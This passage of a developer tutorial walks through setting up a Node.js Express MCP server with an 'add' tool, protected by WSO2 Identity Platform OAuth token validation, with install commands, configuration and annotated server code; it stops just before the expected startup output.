<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-you-need-before-you-start">What you need before you start<a href="https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server#what-you-need-before-you-start" class="hash-link" aria-label="Direct link to What you need before you start" title="Direct link to What you need before you start" translate="no">​</a></h2>
<p>We'll build a small Express MCP server with a single <code>add</code> tool, running at <code>http://localhost:3000/mcp</code>, and protect it with WSO2 Identity Platform. The server code is in this article. The authorization server setup happens in the WSO2 Identity Platform Console.</p>
<p>Before you continue, make sure you have:</p>
<ol>
<li class=""><strong>A WSO2 Identity Platform organization.</strong> Your organization's base URL looks like <code>https://api.asgardeo.io/t/&lt;organization&gt;</code>.</li>
<li class=""><strong>An MCP client application</strong> in the WSO2 Identity Platform Console, created from the <strong>MCP Client Application</strong> template, with <code>http://127.0.0.1:3030/callback</code> as its authorized redirect URL and <strong>JWT</strong> as its access token type. See <a class="" href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#register-our-mcp-client">Register our MCP client</a>.</li>
<li class=""><strong>The MCP server registered as a resource</strong> with the identifier <code>http://localhost:3000/mcp</code> and the scope <code>mcp:tools</code>, the application authorized to use it, and a user with a role that grants the scope. See <a class="" href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#configure-access-to-the-mcp-resource">Configure access to the MCP resource</a>.</li>
<li class=""><strong>An API key for a model provider.</strong> We'll use OpenAI. You can create a key under <strong>API keys</strong> in the <a href="https://platform.openai.com/api-keys" target="_blank" rel="noopener noreferrer" class="">OpenAI Platform</a>.</li>
</ol>
<p>If any of these are new to you, <a class="" href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client">Connecting an AI Agent to an OAuth-Protected MCP Server</a> walks through each Console step. It also builds the server and the OAuth client code one piece at a time, and explains every line.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="set-up-the-project">Set up the project<a href="https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server#set-up-the-project" class="hash-link" aria-label="Direct link to Set up the project" title="Direct link to Set up the project" translate="no">​</a></h2>
<p>We'll use Node.js 22 or newer.</p>
<ol>
<li class="">
<p>Create a project and install the dependencies:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">mkdir langgraph-mcp-agent</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">cd langgraph-mcp-agent</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">npm init -y</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">npm pkg set type=module</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"># The MCP client and the agent</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">npm install --save-exact @modelcontextprotocol/client@2.4.0 langchain@1.6.0 @langchain/core@1.3.1 @langchain/langgraph@1.5.3 @langchain/mcp-adapters@2.0.1 @langchain/openai@1.8.0 open@11.0.4</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"># The protected MCP server</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">npm install --save-exact @modelcontextprotocol/server@2.4.0 @modelcontextprotocol/express@2.0.2 @modelcontextprotocol/node@2.1.2 @asgardeo/mcp-express@0.3.0 express zod@4</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">npm install --save-dev typescript tsx @types/node @types/express</span><br></span></code></pre></div></div>
<p>Here's what the packages are for:</p>
<ul>
<li class="">The first command installs the MCP client SDK and the LangChain libraries. <code>@langchain/openai</code> connects LangChain to OpenAI's models, and <code>open</code> opens the sign-in page in your browser.</li>
<li class="">The second installs the MCP server SDK, its Express integration, and <code>@asgardeo/mcp-express</code>, which validates WSO2 Identity Platform tokens.</li>
</ul>
<p>If you'd rather use another model provider, install its LangChain package instead of <code>@langchain/openai</code>, such as <code>@langchain/anthropic</code>.</p>
</li>
<li class="">
<p>Create a <code>tsconfig.json</code>:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"compilerOptions"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"target"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"es2022"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"module"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"nodenext"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"types"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token string" style="color:#15803D">"node"</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"strict"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token boolean" style="color:#C43300">true</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"skipLibCheck"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token boolean" style="color:#C43300">true</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"noEmit"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token boolean" style="color:#C43300">true</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>This tells your editor about Node.js, so it recognizes globals such as <code>process</code>.</p>
</li>
<li class="">
<p>Create a <code>.env</code> file:</p>
<div class="language-dotenv codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-dotenv codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">BASE_URL=https://api.asgardeo.io/t/&lt;organization&gt;</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">MCP_RESOURCE=http://localhost:3000/mcp</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">MCP_SERVER_URL=http://localhost:3000/mcp</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">MCP_CLIENT_ID=&lt;your-public-client-id&gt;</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">MCP_SCOPE=mcp:tools</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">OAUTH_ISSUER=https://api.asgardeo.io/t/&lt;organization&gt;/oauth2/token</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">MODEL=openai:gpt-5-mini</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">OPENAI_API_KEY=&lt;your-openai-api-key&gt;</span><br></span></code></pre></div></div>
<p>Replace <code>&lt;organization&gt;</code> with your organization name. If you followed the <a class="" href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#update-the-client-environment">MCP client guide</a>, the first six values are the same as in that project's <code>.env</code>.</p>
<p>The server reads two values:</p>
<ul>
<li class=""><code>BASE_URL</code>: your organization's base URL. The server loads WSO2 Identity Platform's signing keys from it.</li>
<li class=""><code>MCP_RESOURCE</code>: the server's resource identifier. It must match the identifier you registered under <strong>Resources</strong> &gt; <strong>MCP Servers</strong>.</li>
</ul>
<p>The MCP client reads four:</p>
<ul>
<li class=""><code>MCP_SERVER_URL</code>: where the client connects. Here it's the same URL as <code>MCP_RESOURCE</code>.</li>
<li class=""><code>MCP_CLIENT_ID</code>: the client ID from your MCP client application's <strong>Protocol</strong> tab.</li>
<li class=""><code>MCP_SCOPE</code>: the scope you created for the MCP server. Our server doesn't advertise one, so without this value the client requests none and the server rejects the token.</li>
<li class=""><code>OAUTH_ISSUER</code>: your organization's issuer. The client only hands its client ID to an authorization server with this exact issuer.</li>
</ul>
<p>The agent reads the last two:</p>
<ul>
<li class=""><code>MODEL</code>: the model, in the <code>provider:model</code> format <code>createAgent()</code> understands.</li>
<li class=""><code>OPENAI_API_KEY</code>: your OpenAI API key, which <code>@langchain/openai</code> reads from the environment.</li>
</ul>
</li>
</ol>
<p>Keep the API key out of anything you commit or share.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="create-the-protected-mcp-server">Create the protected MCP server<a href="https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server#create-the-protected-mcp-server" class="hash-link" aria-label="Direct link to Create the protected MCP server" title="Direct link to Create the protected MCP server" translate="no">​</a></h2>
<p>Our MCP server exposes one tool, <code>add</code>, and only runs it for requests that carry a valid WSO2 Identity Platform access token. It's the same server we built in <a class="" href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#update-the-express-mcp-server">Connecting an AI Agent to an OAuth-Protected MCP Server</a>. If you already have it, start it from that project and skip to <a href="https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server#add-the-oauth-client-code" class="">Add the OAuth client code</a>.</p>
<ol>
<li class="">
<p>Create <code>server.ts</code>:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockTitle_OeMC">server.ts</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> McpAuthServer </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@asgardeo/mcp-express'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> createMcpExpressApp </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@modelcontextprotocol/express'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> toNodeHandler </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@modelcontextprotocol/node'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> createMcpHandler</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> McpServer </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@modelcontextprotocol/server'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token operator">*</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">as</span><span class="token plain"> z </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'zod/v4'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> handler </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">createMcpHandler</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> server </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">McpServer</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    name</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'test-server'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    version</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'1.0.0'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  server</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">registerTool</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token string" style="color:#15803D">'add'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      description</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'Add two numbers'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      inputSchema</span><span class="token operator">:</span><span class="token plain"> z</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">object</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        a</span><span class="token operator">:</span><span class="token plain"> z</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">number</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        b</span><span class="token operator">:</span><span class="token plain"> z</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">number</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> a</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> b </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      content</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        type</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'text'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        text</span><span class="token operator">:</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">String</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">a </span><span class="token operator">+</span><span class="token plain"> b</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> server</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> app </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">createMcpExpressApp</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> mcpHandler </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">toNodeHandler</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">handler</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> baseUrl </span><span class="token operator">=</span><span class="token plain"> process</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">env</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token constant" style="color:#C43300">BASE_URL</span><span class="token operator">!</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> resource </span><span class="token operator">=</span><span class="token plain"> process</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">env</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token constant" style="color:#C43300">MCP_RESOURCE</span><span class="token operator">!</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> auth </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">McpAuthServer</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  baseUrl</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  issuer</span><span class="token operator">:</span><span class="token plain"> </span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">${</span><span class="token template-string interpolation" style="color:#15803D">baseUrl</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">}</span><span class="token template-string string" style="color:#15803D">/oauth2/token</span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  resource</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  audience</span><span class="token operator">:</span><span class="token plain"> resource</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token comment" style="color:#5A6072;font-style:italic">// Publish the OAuth discovery metadata.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">app</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">use</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">auth</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">router</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token comment" style="color:#5A6072;font-style:italic">// Validate the access token before the MCP handler runs.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">app</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">all</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'/mcp'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> auth</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">protect</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> res</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">void</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">mcpHandler</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> res</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">body</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">app</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">listen</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token number" style="color:#C43300">3000</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'localhost'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> error </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">error</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">throw</span><span class="token plain"> error</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'MCP server running at http://localhost:3000/mcp'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>Here's what each part does:</p>
<ul>
<li class=""><code>createMcpHandler()</code> builds a fresh <code>McpServer</code> for each request and registers the <code>add</code> tool, with its description and input schema.</li>
<li class=""><code>McpAuthServer</code> comes from <code>@asgardeo/mcp-express</code>. It needs your organization's <code>baseUrl</code>, the token <code>issuer</code>, the <code>resource</code> identifier it publishes, and the <code>audience</code> every token must carry. Without <code>audience</code>, it would accept any token your organization signed, even one meant for a different API.</li>
<li class=""><code>auth.router()</code> publishes the Protected Resource Metadata that tells clients which authorization server to use.</li>
<li class=""><code>auth.protect()</code> validates the access token on every request to <code>/mcp</code> before the MCP handler runs. A missing or invalid token gets <code>401</code>.</li>
<li class="">The <code>app.listen()</code> callback checks <code>error</code>, because Express 5 passes startup errors, such as port 3000 already being in use, to the callback instead of throwing them.</li>
</ul>
<p>The <a class="" href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#testing-without-an-existing-mcp-server">MCP client guide</a> builds this server in stages, if you want the longer explanation.</p>
</li>
<li class="">
<p>Open a terminal in the project directory and start the server:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">node --env-file=.env --import tsx server.ts</span><br></span></code></pre></div></div>
<p>You should see:</p>
